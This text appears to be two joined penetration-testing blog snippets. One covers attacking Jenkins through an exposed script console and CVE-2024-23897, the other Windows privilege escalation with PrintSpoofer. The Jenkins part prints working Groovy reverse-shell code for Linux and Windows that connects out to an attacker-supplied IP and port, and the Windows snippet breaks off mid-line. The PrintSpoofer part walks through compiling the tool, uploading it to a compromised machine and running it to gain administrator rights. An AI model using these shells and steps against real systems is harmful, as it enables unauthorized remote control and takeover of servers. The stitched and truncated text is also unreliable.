Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Lets talk about PrintSpoofer tool. This tiny tool is used for Windows Privilege Escalation. If the target server having the SeImpersonatePrivilege enabled and by using this tool, you can perform the Privilege escalation.
1) Look for the ways to elevate the privileges in the target machine. Run whoami /priv
Check for the weakness in Windows Server where certain service accounts are required to run with elevated privileges utilizing the SeImpersonatePrivilege. Mostly people use Hot Potato to take advantage of this privilege function. But Hot Potato is successful only if the DCOM enabled in the target server. [Read more on this]. Here comes the usage of PrintSpoofer tool. You can abuse and exploit this with PrintSpoofer tool, even if the DCOM is disabled in the target server.
1) Get the code from Github.
https://github.com/itm4n/PrintSpoofer
Clone the directory. Note that, if you are trying to compile the code in a Linux machine, you may encounter compile error as it requires windows.h header file.
I have used the Visual Studio in my windows machine and compiled the code to produce an exe output (PrintSpoofer.exe)
2) I have already gained the initial access in to the machine as a normal user. Means i do have the machine access and i can upload files in to it. I activated a simplepython web-server in my local machine and from the target machine, downloaded PrintSpoofer.exe.
3) Once downloaded successfully, then just execute it to elevate the privileges.
4) You have acquired the administrative privileges.